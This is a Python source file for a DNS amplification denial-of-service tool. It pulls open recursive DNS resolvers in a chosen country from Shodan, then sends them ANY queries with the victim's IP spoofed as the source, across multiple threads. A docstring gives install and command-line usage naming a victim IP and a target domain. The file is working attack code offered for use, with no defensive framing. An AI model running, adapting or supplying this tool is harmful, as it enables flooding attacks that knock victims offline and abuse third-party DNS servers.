import os
import click
import threading

from scapy.layers.dns import DNS, DNSQR
from scapy.layers.inet import IP, UDP, ICMP
from scapy.sendrecv import sr1


"""
# Install the following packages
pip install scapy
pip install click
pip install shodan

# Usage
shodan init <api_key>
python dns_amp.py --victim <victim_ip> --targeted <targeted_domain> --country <country_code>
"""


class DNSAttack:
    def __init__(self, victim: str, target: str, country: str = 'US', qtype: str = 'ANY'):
        self.country: str = country
        self.victim: str = victim
        self.target: str = target
        self.qtype: str = qtype

    def flood_dns_amplification(self) -> None:
        with open('ip_addresses.txt') as f:
            contents = f.readlines()
            for ip in contents:
                dns_pkt = IP(src=self.victim, dst=ip.strip()) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=self.target,
                                                                                                   qtype=self.qtype))
                dns_answer = sr1(dns_pkt, timeout=0, verbose=0)
                if dns_answer is None or dns_answer.haslayer(ICMP):
                    quit()

    def get_recursive_dns_servers(self) -> None:
        shodan_query = f'shodan download --fields ip_str recursion "shodan.module:dns-udp recursion enabled country:{self.country}" --limit -1 > /dev/null 2>&1'
        os.system(shodan_query)
        parse_ip = "jq -r '.ip_str' recursion.json.gz > ip_addresses.txt"
        os.system(parse_ip)

    def start_attack(self, thread_count: int = 10) -> None:
        threads: list = []
        for _ in range(thread_count):
            thread = threading.Thread(target=self.flood_dns_amplification)
            thread.start()
            threads.append(thread)

        for thread in threads:
            thread.join()


@click.command()
@click.option('--victim', '-v', help='Victim IP address')
@click.option('--targeted', '-t', help='Targeted domain')
@click.option('--country', '-c', help='Country code')
@click.option('--thread_count', '-tc', help='Thread count')
@click.option('--qtype', '-qt', help='Query type')
def main(victim: str, targeted: str, country: str, thread_count: int, qtype: str):
    dns_attack = DNSAttack(victim, targeted, country, qtype)
    dns_attack.get_recursive_dns_servers()
    dns_attack.start_attack(thread_count=thread_count)


if __name__ == '__main__':
    main()